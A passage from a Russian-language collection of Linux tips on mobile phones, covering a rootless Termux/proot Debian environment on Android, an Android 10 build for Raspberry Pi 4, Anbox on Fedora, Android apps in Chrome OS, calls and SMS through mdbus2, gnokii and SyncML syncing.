    Подключаемся, видим welcome email, забираем собственный BM адрес, меняем адрес
    аккаунта на него в формате BM-address@bitmessage. Таким же форматом ведём
    адресную книгу. Если были старые адреса из PyBitmessage, импортируем, смотри ссылку.
    
     

       Мобильные телефоны

    ----* Linux окружение noroot в Android-смартфоне собственными руками. (доп. ссылка 1)   Автор: Павел Оредиез  [комментарии]
     
    В этой заметке я расскажу как собрать своё Linux-окружение на Android-смартфоне
    без прав root (рутовать телефон не надо). Можно конечно взять готовые решения в
    Google Play Store, но можно и пройти этот путь самостоятельно.
    
    Если вы решите повторить мой опыт, то вы получите Xfce4-окружение с псевдо
    пользователем root на своём мобильном телефоне с Android. Работает это почти
    без отличий от реального пользователя root, только конечно модифицировать сам
    телефон это возможности не даёт. Итак приступим.
    
    Termux
    
    Установим в Android приложение Termux (требуется Android версии 7 или выше).
    Это наше базовое Linux окружение и отправная точка. Запуская его мы попадаем в
    шелл с домашним каталогом, который будем называть TERMUX_HOME.
    
    Итак в TERMUX_HOME установим требуемые нам начальные пакеты:
    
       pkg install root-repo
       pkg install proot
       pkg install debootstrap
       pkg install nano
       pkg install wget
       pkg install man
    
    Debootstrap
    
    Теперь можно устанавливать Linux окружение.
    Проверим нашу архитектуру.
    
       uname -ar
       Linux localhost 4.9.193-perf-gc285628 #1 SMP PREEMT Fri Aug 6 02:12:50 CST 2021 aarch64 Android
    
    Моя архитектура 64-битная, значит --arch=arm64. Если у вас архитектура
    32-битная, то ваш вариант --arch=armhf
    
    В TERMUX_HOME:
    
       mkdir ./chroot
       debootstrap --arch=arm64 bullseye ./chroot http://mirror.yandex.ru/debian
       mkdir ./chroot/system
       mkdir ./chroot/apex
       mkdir ./chroot/home/user
    
    Вот мы получили базовое окружение. Правда dpkg configure отработает наверное с
    некоторыми ошибками, но войти в окружение уже можно. Ошибки мы разберём позже.
    
    Вход в Linux окружение
    
    Вход под псевдо рутом нам позволяет команда proot, которую мы установили ранее.
    В TEMUX_HOME создадим скрипт входа start.sh:
    
       #!/data/data/com.termux/files/usr/bin/sh
       unset LD_PRELOAD
       proot \
         -0 \
         --link2symlink \
         -w /root \
         -r ./chroot \
         -b /sys/ \
         -b /system \
         -b /apex \
         -b /proc/ \
         -b /dev/ \
         -b /dev/pts/ \
         /usr/bin/env \
           -i \
           HOME=/root \
           LD_LIBRARY_PATH=/system/lib64:/system/apex/com.android.runtime.release/lib64 \
           XDG_RUNTIME_DIR=/tmp \
           DISPLAY=127.0.0.1:0 \
           PULSE_SERVER=tcp:127.0.0.1:4713 \
           TERM="xterm-256color" \
           PATH=/bin:/usr/bin:/sbin:/usr/sbin \
           /bin/bash --login
    
    Для входа не под root (опционально) создайте скрипт входа ustart.sh:
    
       #!/data/data/com.termux/files/usr/bin/sh
       unset LD_PRELOAD
       proot \
         --link2symlink \
         -w /root \
         -r ./chroot \
         -b /sys/ \
         -b /system \
         -b /apex \
         -b /proc/ \
         -b /dev/ \
         -b /dev/pts/ \
         /usr/bin/env \
           -i \
           HOME=/home/user \
           LD_LIBRARY_PATH=/system/lib64:/system/apex/com.android.runtime.release/lib64 \
           XDG_RUNTIME_DIR=/tmp \
           DISPLAY=127.0.0.1:0 \
           PULSE_SERVER=tcp:127.0.0.1:4713 \
           TERM="xterm-256color" \
           PATH=/bin:/usr/bin:/sbin:/usr/sbin \
           /bin/bash --login
    
    Для 32-битного окружение поправьте LD_LIBRARY_PATH
    
    Сделаем скрипты исполняемыми:
    
       chmod a+x start.sh
       chmod a+x ustart.sh
    
    Теперь можно войти в окружение:
    
       ./start.sh
       root@localhost:~#
    
    Вот мы и псевдо root :).
    Назовём это ENV_HOME.
    
    Ошибки dpkg
    
    Ошибки dpkg в основном у меня были связаны с неправильной работой 
    утилиты adduser при добавлении системных пользователей. Поэтому чтобы избежать
    их сразу дополним файлы (в ENV_HOME)
    
    /etc/passwd:
    
       systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
       systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
       systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
       _apt:x:103:65534::/nonexistent:/usr/sbin/nologin
       messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
       statd:x:106:65534::/var/lib/nfs:/usr/sbin/nologin
       avahi:x:108:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
       systemd-coredump:x:996:996:systemd Core Dumper:/:/usr/sbin/nologin
       user:x:10264:10264:User:/home/user:/bin.bash
    
    /etc/group:
    
       systemd-journal:x:101:
       systemd-timesync:x:102:
       systemd-network:x:103:
       systemd-resolve:x:104:
       netdev:x:109:pi
       messagebus:x:110:
       avahi:x:113:
       systemd-coredump:x:996:
       user:x:10264:
    
    Здесь id 10264 это id моего пользователь в TERMUX_HOME. У вас может быть другое число.
    
    Второй хук для неисправных пакетов заключается в убирании скриптов конфигурирования (в ENV_HOME):
    
       mv /var/lib/dpkg/info/<package>* /tmp/
    
    Установка остальных пакетов
    
    В ENV_HOME выполним
    
       apt install xfce4 dbus-x11
    
    Мы готовы запустить графическую оболочку, для этого нам нужен X сервер.
    
    X сервер
    
    В Android установите приложение XServer XSDL. Этот сервер имеет также
    звуковую pulseaudio подсистему. Ранее в скриптах входа в окружение в команде
    proot мы передали переменные DISPLAY и PULSE_SERVER, так что у нас все готово
    для запуска (в ENV_HOME):
    
       xfce4-session
    
    Должна запуститься графическая оболочка, звук тоже должен работать (звуковой
    вход не поддерживается только воспроизведение).
    Xserver XSDL может показаться сначала не очень красивым, но он хорошо
    функционален и красоты можно добиться. Мои параметры:
    ориентация портретная, разрешение нативное, дурацкие кнопки alt-shift-чего-то
    скрыты (они у меня всё равно не работают или я не понял как), мышь в режиме
    телефон-тачпад. Можно еще попробовать поиграться с xrandr если поддерживается
    для использования виртуального пространства X сервера, я не пробовал.
    
    Библиотеки Android
    
    В аргументах команды proot мы пробросили в окружение Android каталоги /system и /apex.
    
    Так что нам доступны Android библитеки /system/lib /system/lib64.
    Например мне нужно было чтобы правильно отрабатывала команда
    
       ldd /system/lib64/libOpenSLES.so
    
    (не должно быть "not found").
    
    Если ldd отрабатывает неправильно, то обратите внимание, библиотеки в
    /system/lib* могут быть симлинками на другие места. Возможно надо подбиндить
    другие каталоги Android и(или) поправить LD_LIBRARY_PATH.
    
    Благодарности
    
    Выражаю свою благодарность Sergii Pylypenko (pelya) за его труд - автору проектов 
    XServer XSDL, pulseaudio-android, xserver-xsdl, Debian noroot. У
    него я подсмотрел многое.
    
     
    ----* Создание сборки Android 10 для Raspberry Pi 4 (доп. ссылка 1)   [комментарии]
     
    Инструкция по созданию своей сборки Android 10 для Raspberry Pi 4 в Ubuntu/Debian.
    
    Загружаем исходные тексты Android:
    
       repo init -u https://android.googlesource.com/platform/manifest -b android-10.0.0_r41
       git clone https://github.com/android-rpi/local_manifests .repo/local_manifests -b arpi-10
       repo sync
    
    
    Собираем ядро Linux
    
       sudo apt install gcc-arm-linux-gnueabihf libssl-dev
       cd kernel/arpi
       ARCH=arm scripts/kconfig/merge_config.sh arch/arm/configs/bcm2711_defconfig kernel/configs/android-base.config kernel/configs/android-recommended.config
       ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make zImage
       ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make dtbs
    
    Устанавливаем python-модуль mako:
    
      sudo apt install python-mako
    
    Вносим несколько исправлений в файлы:
    
    Настраиваем использование GuidedActionEditText для ввода пароля в TvSettings
    
       Settings/res/layout/setup_password_item.xml
       @@ line 35
       -   <EditText
       +   <androidx.leanback.widget.GuidedActionEditText
               android:id="@+id/guidedactions_item_title"
               style="@style/Setup.Action.TextInput"
               android:layout_width="match_parent"
               android:layout_height="match_parent"
               android:focusable="true"
               android:gravity="center_vertical"
               android:imeOptions="actionNext|flagNoExtractUi"
       +       android:inputType="text" />
       -       android:inputType="text">
       -   </EditText>
    
    Включаем программный декодировщик видео
    
       media/libstagefright/colorconversion/SoftwareRenderer.cpp
       @@ line 128 @@ void SoftwareRenderer::resetFormatIfChanged(
            case OMX_COLOR_FormatYUV420Planar:
       +        {
       +            halFormat = HAL_PIXEL_FORMAT_RGBA_8888;
       +            bufWidth = (mCropWidth + 1) & ~1;
       +            bufHeight = (mCropHeight + 1) & ~1;
       +            break;
       +        }
            case OMX_COLOR_FormatYUV420SemiPlanar:
       @@ line 182
                CHECK(mConverter->isValid());
       +    } else if (halFormat == HAL_PIXEL_FORMAT_RGBA_8888 &&
       +            mColorFormat == OMX_COLOR_FormatYUV420Planar) {
       +        mConverter = new ColorConverter(
       +                mColorFormat, OMX_COLOR_Format32BitRGBA8888);
       +        CHECK(mConverter->isValid());
            }
    
       media/codec2/vndk/C2Store.cpp
       @@ line 851 @@ C2PlatformComponentStore::C2PlatformComponentStore()
            //emplace("libcodec2_soft_av1dec_aom.so"); // deprecated for the gav1 implementation
       -    emplace("libcodec2_soft_av1dec_gav1.so");
       -    emplace("libcodec2_soft_avcdec.so");
            emplace("libcodec2_soft_avcenc.so");
       @@ line 873
            emplace("libcodec2_soft_vp8enc.so");
       -    emplace("libcodec2_soft_vp9dec.so");
            emplace("libcodec2_soft_vp9enc.so");
    
    Собираем код Android:
    
    
       source build/envsetup.sh
       lunch rpi4-eng
       make ramdisk systemimage vendorimage
    
    Подготавливаем SD-карту для записи собранного образа. Разбивка разделов должна
    выглядеть примерно так:
    
    p1 128MB для /boot: в fdisk выбираем раздел с типом W95 FAT32(LBA) и делаем его
    загрузочным, далее запускаем mkfs.vfat
    
    p2 768MB для /system: в fdisk создаём новый первичный раздел
    
    p3 128MB для /vendor: в fdisk создаём новый первичный раздел
    
    p4 оставшееся место выделяем для /data: в fdisk создаём новый первичный раздел
    и запускаем mkfs.ext4. Устанавливаем метку userdata на раздел /data, используя
    опцию "-L" при выполнении mkfs.ext4.
     
    Записываем подготовленные образы в разделы /system и /vendor (вместо <p2> и
    <p3> подставляем созданные имена устройств разделов):
    
        cd out/target/product/rpi4
        sudo dd if=system.img of=/dev/<p2> bs=1M
        sudo dd if=vendor.img of=/dev/<p3> bs=1M
    
    Копируем ядро и образ ram-диска на загрузочный раздел.
    Содержимое device/arpi/rpi4/boot/ копируем в корень раздела <p1>, туда же
    копируем файлы kernel/arpi/arch/arm/boot/zImage,
    out/target/product/rpi4/ramdisk.im и
    kernel/arpi/arch/arm/boot/dts/bcm2711-rpi-4-b.dtb. Файл
    kernel/arpi/arch/arm/boot/dts/overlays/vc4-kms-v3d-pi4.dtbo  копируем в каталог /overlays/
    
     
    ----* Установка Anbox для запуска Android-приложений в Fedora 30 (доп. ссылка 1)   [комментарии]
     
    Anbox представляет собой окружение, позволяющее запустить полноценную
    мобильную среду Android в обычном дистрибутиве Linux, тесно интегрированную с
    основным рабочим столом. Краткая инструкция по установке Anbox в Fedora 30:
    
    Устанавливливаем DKMS и средства для сборки модулей ядра:
    
       sudo dnf install dkms
       sudo dnf install kernel-devel
    
    Загружаем свежий срез кода Anbox и собираем модули ядра с ashmem и binder:
    
       cd ~
       git clone https://github.com/anbox/anbox-modules
       cd anbox-modules
       sudo cp anbox.conf /etc/modules-load.d/
       sudo cp 99-anbox.rules /lib/udev/rules.d/
       sudo cp -rT ashmem /usr/src/anbox-ashmem-1
       sudo cp -rT binder /usr/src/anbox-binder-1
       sudo dkms install anbox-ashmem/1
       sudo dkms install anbox-binder/1
       sudo modprobe ashmem_linux
       sudo modprobe binder_linux
    
    Устанавливаем snapd для установки поддерживаемого разработчиками
    самодостаточного пакета с окружением Anbox в формате snap:
    
       sudo dnf install snapd
       sudo ln -s /var/lib/snapd/snap /snap
    
    Устанавливаем окружение Anbox
    
       snap install --devmode --beta anbox
    
    В дальнейшем для обновления окружения выполняем:
    
      snap refresh --beta --devmode anbox
    
    Настраиваем SELinux, который мешает запуску Anbox. 
    
       sudo ausearch -c servicemanager --raw
       sudo semodule -X 300 -i my-servicemanager.pp
       sudo ausearch -c anboxd --raw
       sudo semodule -X 300 -i my-anboxd.pp
       sudo ausearch -c gatekeeperd --raw
       sudo semodule -X 300 -i my-gatekeeperd.pp
    
    Перезагружаем систему и пробуем запустить anbox.
    
    Для установки Android-программ в окружение Anbox ставим adb и выполняем:
    
       adb install filename.apk 
    
     
    ----* Запуск Android-приложений в окружении Chrome OS или в браузере Chrome (доп. ссылка 1)   [комментарии]
     
    Компания Google начала тестирование функции запуска Android-приложений в
    Chrome OS. В настоящее время доступно лишь несколько Android-программ,
    предлагаемых для использования в Chrome OS. Данное ограничение является
    искусственным, поэтому энтузиасты
    нашли способ обойти ограничение и организовать выполнение разнообразных
    Android-приложений, включая Skype, Pandora, Opera Mini, Flipboard.
    
    Более того, так как Android-окружение формируется в web-браузере с
    использованием технологии Native Client, то имеется возможность организовать
    запуск Android-программ в обычном браузере Сhrome для Linux, Windows или OS X.
    
    
    Chrome OS
    
    Для обхода ограничения в Chrome OS подготовлена утилита, раскрывающая apk-пакет
    любой программы и маскирующая его под одно из официальных тестовых приложений.
    
    Инструкция по установке:
    
    Устанавливаем в Chrome OS любое официальное демонстрационное Android-приложение
    из Chrome Store. Данная операция требуется для установки runtime-компонентов Android.
    
    Протестируем работу Android-приложения для того чтобы убедиться, что Android
    runtime в данной системе работает корректно.
    
    На другом компьютере с Ubuntu установим Node.js и приложение chromeos-apk для
    распаковки apk-пакетов:
    
       sudo add-apt-repository ppa:chris-lea/node.js
       sudo apt-get update
       sudo apt-get install nodejs
       npm install chromeos-apk -g
    
    Загрузим на ПК с Ubuntu интересующий нас apk-пакет и распакуем его при помощи
    утилиты chromeos-apk. Например:
    
       chromeos-apk com.soundcloud.android.apk
    
    или для планшета
    
       chromeos-apk com.soundcloud.android.apk --tablet
    
    В итоге будет создана директория  com.soundcloud.android, которую следует
    перенести на устройство с Chrome OS.
    
    В браузере Chrome OS включаем режим разработчика ("Developer mode") в разделе
    chrome://extensions и загружаем содержимое скопированной директории через
    кнопку  "Load unpacked extension".
    
    После этого установленная программа станет доступна для запуска.
    
    При необходимости установки нескольких программ, для каждой новой программы
    следует изменить значение  "key" в файла manifest.json, в расположенной внутри
    распакованной из apk-пакета директории на одно из значений, применяемых в
    демонстрационных программах.
    
    Дополнение: обойти ограничение по числу установленных программ и избавиться от
    правки ключа можно установив модифицированный runtime - ARChon (инструкция ниже).
    
    Chrome
    
    Загружаем со страницы http://bitbucket.org/vladikoff/archon/downloads
    модифицированный Android Runtime - ARChon. Поддерживается Chrome 37 и более
    новые выпуски.
    
       wget https://bitbucket.org/vladikoff/archon/get/v1.0.zip
       unzip v1.0.zip
    
    Следуя предыдущему описанию устанавливаем утилиту chromeos-apk  и активируем
    режим разработчика в Chrome. Далее через интерфейс chrome://extensions
    загружаем содержимое разархивированной директории нажав кнопку "Load unpacked extension".
    
    Для установки Android-приложения загружаем apk-файл и распаковываем его
    утилитой chromeos-apk  с опцией "--archon":
    
       chromeos-apk com.imdb.mobile.apk --archon
    
    Загружаем программу через  "Load unpacked extension" в chrome://extensions.
    
    Для изменения активного разрешения экрана в файлах gen_main.min.js и
    gen_index.min.js из архива ARChon находим и правим на своё усмотрение строку
     
       tablet: {"long": 1280, "short": 800}
    
    Можно распаковать и поправить настройки пакета вручную, без установки утилиты
    chromeos-apk. Для этого извлекаем из apk-архива директорию _template, сохранив
    её под полным именем приложения, например "com.soundcloud.android". Помещаем
    apk-файл в директорию com.soundcloud.android/vendor/chromium/crx. Изменяем в
    manifest.json ссылку на apk-файл. Там же правим параметры formFactor (phone или
    tablet) и orientation (landscape или portrait). При использовании ARChon
    runtime удаляем из manifest.json параметр "key".
    
     
    ----* Осуществление ОGSM/SMS/USSD вызовов с использованием утилиты mdbus   Автор: Дмитрий Попов  [комментарии]
     
    На сервере используем Gentoo Linux, к которому через USB-порт подключен телефон
    Neo Freerunner (Openmoko + SHR).
      
    1. Убедимся, что ядро Linux собрано с опцией "Ethernet over USB". При
    выполнении dmesg будет выведены примерно такие сообщения:
    
       [ 3167.874749] udev[1339]: renamed network interface eth2 to eth4
       [ 3187.500221] cdc_ether 4-2:1.0: eth4: unregister 'cdc_ether' usb-0000:00:1d.2-2, CDC Ethernet Device
       eth4      Link encap:Ethernet  HWaddr 00:1f:11:01:43:af
              inet addr:192.168.7.14  Bcast:192.168.7.255  Mask:255.255.255.0
       ...
    
    2. Ставим Apache и PHP, включая PHP-расширение SSH2, которое в дальнейшем пригодится.
    
    3. Выбираем телефон на который можно поставить дистрибутив SHR
    (http://www.shr-project.org), в состав которого входит полезная консольная
    утилита mdbus2. В качестве телефона задействован Neo Freerunner, но подойдут и
    другие аппараты, поддерживаемые в SHR (Nokia N900, Palm Pre, Pre Plus, Pre
    2, HTC Desire, HTC Dream, HTC HD2, iPhone3G, Nexus One и т.п.)
    
    4. Заливаем с Linux-машины на телефон прошивку:
    
       dfu-util -d 1d50:5119 -a u-boot -R -D qi-ubi-s3c2442.udfu
       dfu-util -d 1d50:5119 -a kernel -R -D uImage-2.6.39-r6-oe16-om-gta02-20111217193821.bin
       dfu-util -d 1d50:5119  -a rootfs -R -D shr-image-om-gta02.ubi
    
    5. Настраиваем соединение:
     
       # cat /etc/hosts | grep 192
       192.168.7.2     neo
    
       # ssh neo
    
       root@om-gta02:~# ifconfig  usb0
    
       usb0      Link encap:Ethernet  HWaddr 00:1F:11:01:43:AE
              inet addr:192.168.7.2  Bcast:192.168.7.255  Mask:255.255.255.0
       ...
    
    6. Далее открываем консольную утилиту mdbus для диагностики и обмена данными.
    Нам потребуются сервисы USSD, SMS и VOICE.
    
    USSD вызов:
    
       ssh neo  "mdbus2 -s org.freesmartphone.ogsmd /org/freesmartphone/GSM/Device org.freesmartphone.GSM.Network.SendUssdRequest '*102#'
    
    VOICE вызов:
    
       ssh root@neo  "mdbus2 -s org.freesmartphone.ogsmd /org/freesmartphone/GSM/Device org.freesmartphone.GSM.Call.Initiate '+790XXXXXXX' 'voice'"
    
    SMS вызов:
    
       ssh neo "mdbus2 -s org.freesmartphone.ogsmd /org/freesmartphone/GSM/Device org.freesmartphone.GSM.SMS.SendTextMessage  '+7903XXXXXXX' 'Hello world' '1'"
    
    Ссылки по которым можно разобраться в работе mdbus:
    
       http://wiki.openmoko.org/wiki/OpenmokoFramework/mdbus
       http://docs.freesmartphone.org/
    
    
    7. Создаём PHP-скрипт для выполнения звонка с использованием библиотеки SSH2:
    
       <?php
       $connection = ssh2_connect('neo', 22);
    
       if (ssh2_auth_password($connection, 'root', '')) {
          echo "Authentication Successful!\\n";
       } else {
          die('Authentication Failed...');
       }
       $shell = ssh2_shell($connection,"bash");
    
       $stream = ssh2_exec($connection, 'mdbus2 -s org.freesmartphone.ogsmd /org/freesmartphone/GSM/Device org.freesmartphone.GSM.Call.Initiate \\'+7903XXXXXXX\\' \\'voice\\'');
    
       echo " SetMicrophoneMuted = 1 \\n ";
    
       $stream1 = ssh2_exec($connection, 'mdbus2  -s org.freesmartphone.frameworkd /org/freesmartphone/GSM/Device org.freesmartphone.GSM.Device.SetMicrophoneMuted \\'1\\'');
    
      echo "$stream";
      echo "calling to +7903xxxxxxx (POPOV DMITRY)";
    
      echo " Sleep 10 sec  \\n ";
    
      sleep(20);
    
      echo " Release GSM call  \\n ";
    
      $stream2=ssh2_exec($connection, 'mdbus2 -s org.freesmartphone.ogsmd /org/freesmartphone/GSM/Device org.freesmartphone.GSM.Call.ReleaseAll');
    
      $output = stream_get_contents($stream);
    
       echo "$output";
       ?>
    
     
    ----* Синхронизация содержимого телефона и Evolution на Linux ПК при помощи SyncML   Автор: write2net  [комментарии]
     
    В статье описывается способ синхронизации по USB-кабелю (технология SyncML,
    протоколы TCP/IP и HTTP)  календаря, задач, заметок и контактов мобильного
    телефона с компьютером. На компьютере установлена операционная система Linux
    (Debian/Ubuntu) и клиент пакета совместной работы Evolution.
    
    Рассматриваемый в качестве примера гаджет от Sony Ericsson представляет
    собой аппарат начального уровня, не является смартфоном, использует собственную
    закрытую программную платформу, а среди прочих сетевых функций поддерживает
    SyncML и имеет функцию модема.
    
    
    Схема синхронизации и программное обеспечение
    
    Мысль использовать Интернет-технологии для синхронизации по USB-кабелю с
    компьютером возникла после нескольких бесперспективных попыток сделать это
    более гуманными средствами:
    
    
  • Фирменный софт Sony Ericsson под Wine с первого раза не запустился (если бы запустился - пришлось решать проблему интеграции продукта Microsoft к Evolution). Требуемых функций для Wammu/Gammu через IrSync телефон не поддерживал.
  • В MultiSync\OpenSync трудно быстро разобраться (документации мало, литература по теме не соответствует современному состоянию пакета).
  • В KDE есть некие утилиты для синхронизации, но у нас нет KDE. Основные предпосылки для реализации схемы:
  • Во-первых компьютер и телефон можно объединить в сеть по USB-кабелю. Linux при подключении телефона создает сетевой интерфейс, о чем свидетельствует запись в системном журнале: usb0: register 'cdc_ether' at usb-0000:00:1d.0-2, CDC Ethernet Device, 02:80:37:ec:02:00 Утилита tcpdump на этом интерфейсе показывает, что телефон во всю шлет DHCP-запросы на получение IP-адреса (встроенный модем).
  • Во-вторых, в телефоне есть клиент для работы с удаленным SyncML-сервером. Собственно схема локальной синхронизации: Органайзер (календарь, заметки, задачи, контакты) / Телефон -> USB (HTTP, TCP/IP) -> Компьютер (локальный SyncML-сервер) / Evolution. Этапы решения задачи:
  • 1.Настроить IP-сеть между компьютером и телефоном.
  • 2.Установить на компьютере локальный SyncML-сервер.
  • 3.Указать ПО синхронизации телефона обращаться к этому серверу.
  • 4.Синхронизировать SyncML-сервер и Evolution. Программное обеспечение:
  • Локальный SyncML-сервер. Здесь перечислены основные варианты, как самостоятельных продуктов, так и в составе систем совместной работы. Выбран Funambol Server. У него много недостатков: он тяжелый, медленный, пришлось повозиться с подключением Mysql; но главное его достоинство: собственно для синхронизации настраивать ничего не нужно. Альтернативами (для настойчивых) могут выступать: HTTP-сервер из пакета SyncEvolution, Synthesis SyncML DEMO или HTTP-сервер MultiSync\OpenSync.
  • Для клиента синхронизации Evolution и Funambol выбран SyncEvolution. 1. Настройка сети между телефоном и компьютером по USB-кабелю 1.1.На телефоне:
  • В "параметрах Интернет" установить "Разрешить местные подключения".
  • В "параметрах USB" можно выбирать различные варианты доступа к сети (Доступ к Интернету) - "Интернет через телефон" и "Интернет через компьютер". Здесь описан вариант "Интернет через компьютер", поэтому нужно его выбрать. Если на телефоне есть возможность прописать для USB-соединения статический IP-адрес и маску подсети, то нужно прописать 192.168.2.10 255.255.255.0 и не настраивать на компьютере DHCP-сервер, а только установить на интерфейсе usb0 статический IP-адрес. 1.2.Настройка DHCP-сервера и сети на компьютере: Чтобы выдавать IP-адрес телефону установим на компьютере DHCP-сервер: sudo apt-get install dhcp3-server Настроим его: В файле /etc/default/dhcp3-server пропишем: interfaces=usb0 В файле /etc/dhcp3/dhcpd.conf: subnet 192.168.2.0 netmask 255.255.255.224 { range 192.168.2.10 192.168.2.20; } полезно также закомментировать: #option domain-name "example.org"; #option domain-name-servers ns1.example.org, ns2.example.org; Устанавливаем статический IP-адрес на интерфейс usb0 (телефон должен быть подключен): sudo ifconfig usb0 192.168.2.2 netmask 255.255.255.0 Запускаем DHCP-сервер: sudo /etc/init.d/dhcp3-server start Проверяем сеть: ping 192.168.2.10 2. Настройка локального SyncML-сервера 2.1.Установка Funambol Качаем отсюда. Устанавливаем: sudo ./funambol-9.0.0.bin 2.2.Настройка Mysql Родная база данных в Debian\Ubuntu проработает недолго (по крайней мере у меня). Лучше прикрутить Mysql. Устанавливаем Mysql: sudo apt-get install mysql-server Создаем базу данных: mysql> create database funambol; mysql> GRANT ALL PRIVILEGES ON funambol.* TO 'funambol'@'localhost' IDENTIFIED BY 'funambol'; Качаем mysql-connector-java отсюда. Копируем файл mysql-connector-java-5.1.14-bin.jar в: /opt/Funambol/tools/jre-1.5.0/jre/lib/ext /opt/Funambol/pim-listener/lib /opt/Funambol/inbox-listener/lib Редактируем файл ds-server/install.properties: Исправляем: dbms=mysql Добавляем: jdbc.classpath=/opt/Funambol/tools/jre-1.6.0/lib/ext/mysql-connector-java-5.1.14-bin.jar jdbc.driver=com.mysql.jdbc.Driver jdbc.url=jdbc:mysql://localhost/funambol?characterEncoding=UTF-8 jdbc.user=funambol jdbc.password=funambol Комментируем: #jdbc.classpath=../tools/hypersonic/lib/hsqldb.jar #jdbc.driver=org.hsqldb.jdbcDriver #jdbc.url=jdbc:hsqldb:hsql://localhost/funambol #jdbc.user=sa #jdbc.password= Запускаем повторную инсталяцию: sudo /opt/Funambol/bin/install.cmd 2.3.Настройка Funambol Команды для запуска\остановка сервиса: sudo /opt/Funambol/bin/funambol-server start sudo /opt/Funambol/bin/funambol-server stop Меняем пароль администратора и гостя, используя утилиту администрирования: sudo /opt/Funambol/admin/bin/funamboladmin 3. Настройка синхронизации на телефоне Сохраняем в надежное, тихое место все ценное и нужное, что есть. В меню "Синхронизация" создаем новую учетную запись Адрес сервера: http://192.168.2.2:8080/funambol/ds Имя пользователя: guest Пароль: guest Выбираем приложения: Контакты, Календарь, Задания, Заметки Настраиваем имена базы: для контактов: card для календаря: event для заданий: task для заметок: note Вуаля. Синхронизируем телефон и SyncML-сервер. 4. Настройка SyncEvolution на компьютере Сохраняем в надежное, тихое место все ценное и нужное, что есть. Качаем пакет для Debian\Ubuntu. Устанавливаем: sudo dpkg -i syncevolution-evolution_1.1.1-2_i386.deb Запускаем гуишную утилиту "Синхронизация" (sync-ui). В ней настраиваем службу Funambol: Имя пользователя: guest Пароль: guest Адрес сервера: http://192.168.2.2:8080/funambol/ds Папки прописываем, как на телефоне (имена базы). Сохраняем. Синхронизируем Evolution и SynML-сервер. Возможно, что графическая утилита не сможет первый раз корректно определить направление синхронизации и т.д., поэтому сообщит об ошибке. В таких случаях можно использовать интерфейс командной строки: syncevolution --sync refresh-from-server funambol calendar (Обновить данные сервера в Evolution) и т.п. При синхронизации контактов был замечен глюк: при изменении существующей записи из evolution в телефон поле email передается, а поле домашний телефон - нет. 5. Дополнительная автоматизация Так как мне ничего кроме локальной синхронизации не нужно, все вспомогательные манипуляции на компьютере были связаны с настройкой сетевого интерфейса usb0 (сеть настраивается редактированием непосредственно файла /etc/network/interfaces без всяких вспомогательных средств). Отрывок файла /etc/network/interfaces: allow-hotplug usb0 iface usb0 inet static address 192.168.2.2 netmask 255.255.255.0 post-up /etc/init.d/dhcp3-server start post-up /opt/Funambol/bin/funambol-server start down /etc/init.d/dhcp3-server stop down /opt/Funambol/bin/funambol-server stop Остается только подключить телефон к компьютеру и нажимать кнопку "Синхронизировать" в sync-ui и выбирать соответствующий пункт меню в телефоне.
  •  
    ----* Прием и отправка SMS в Linux   [комментарии]
     
    Для организации автоматизации приема и отправки SMS в Linux можно использовать пакет
    gnokii и подключенный к системе телефон. В
    простейшем случае можно использовать возможность консольной утилиты gnokii из
    пакета gnokii-cli, но при необходимости более сложной автоматизации имеет смысл
    воспользоваться Perl-модулем GSM::SMS или GSMD::Gnokii.
    
    Устанавливаем gnokii, для Debian/Ubuntu:
    
       sudo apt-get install gnokii-cli gnokii-smsd xgnokii
    
    , где gnokii-cli - интерфейс командной строки, gnokii-smsd демон для работы с
    SMS, а xgnokii - GUI интерфейс. Последние два ставим на свое усмотрение.
    
    Подключаем телефон через USB-порт. Смотрим в /var/log/messages к какому
    устройству осуществилась привязка (например, /dev/ttyACM0)
    
    Создаем файл конфигурации /home/mc/.gnokiirc
    
       [global]
       model = AT
       connection = serial
       port = /dev/ttyACM0
    
    где, model - тип устройства: AT - для большинства телефонов, series40 - для
    телефонов Nokia с системой series40, gnapplet для старых телефонов Nokia Series60.
    
    connection - тип соединения serial - USB/RS-232, irda - инфракрасный порт, bluetooth - Bluetooth.
    
    port - порт, для USB - /dev/ttyACM0 или /dev/ttyUSB0, для Bluetooth указываем
    адрес устройства ("aa:bb:cc:dd:ee:ff").
    
    Для USB-устройств также можно попробовать сочетание connection=dku2libusb и
    port = N, где N - номер устройства.
    
    Проверяем поддерживается ли телефон:
    
       gnokii --identify
    
       GNOKII Version 0.6.28
       IMEI         : IMEI56565656565656
       Manufacturer : Motorola CE, Copyright 2000
       Model        : GSM900","GSM1800","GSM1900","MO
       Product name : GSM900","GSM1800","GSM1900","MO
       Revision     : R368_G_0B.A0.0FR
    
    Для мониторинга активности:
    
       gnokii --monitor
    
    Возможности gnokii позволяют достаточно полно контролировать телефон, но нас
    интересует работа с SMS.
    
    Чтение SMS:
    
       gnokii --getsms тип_памяти старт стоп
    
    где тип_памяти: SM - для SIM-карты, ME - для внутренней памяти и MT для
    комбинированных хранилищ, IN - inbox, OU - outbox. Посмотреть какое хранилище
    используется на телефоне можно командой "gnokii --showsmsfolderstatus"
    старт - начальная позиция сообщения
    cтоп - конечная позиция сообщения, если не указать будет прочитано одно
    сообщение, если указать "end" будут выведены все сообщения до конечной позиции
    
    Пример для вывода всех сохраненных SMS:
    
       gnokii --getsms MT 1 end
    
    
    Для отправки SMS можно использовать команду:
    
       echo "текст" | gnokii --sendsms номер
    
    Например:
    
       echo "тест" | gnokii --sendsms '+79094126426'
    
       Send succeeded with reference 131!
    
    Другой способ отправки: в комплекте с Perl-модулем SMS::Send поставляется
    утилита xpl-sender, которую можно использовать не только как пример для
    написания скриптов, но и отправлять через неё сообщения:
    
       xpl-sender -m xpl-cmnd -c sendmsg.basic to=+7909344355 body="test"
    
    
    
    Вывод содержимого адресной книги:
    
       gnokii --getphonebook MT 1 end
    
    Адресную книгу можно сохранить, а затем восстановить:
    
       gnokii --getphonebook MT 1 end --vcard > phonebook.txt
       gnokii --writephonebook --vcard < phonebook.txt
    
    
    Настройка SMS-шлюза
    
    В состав gnokii входит демон SMSD, который позволяет организовать работу
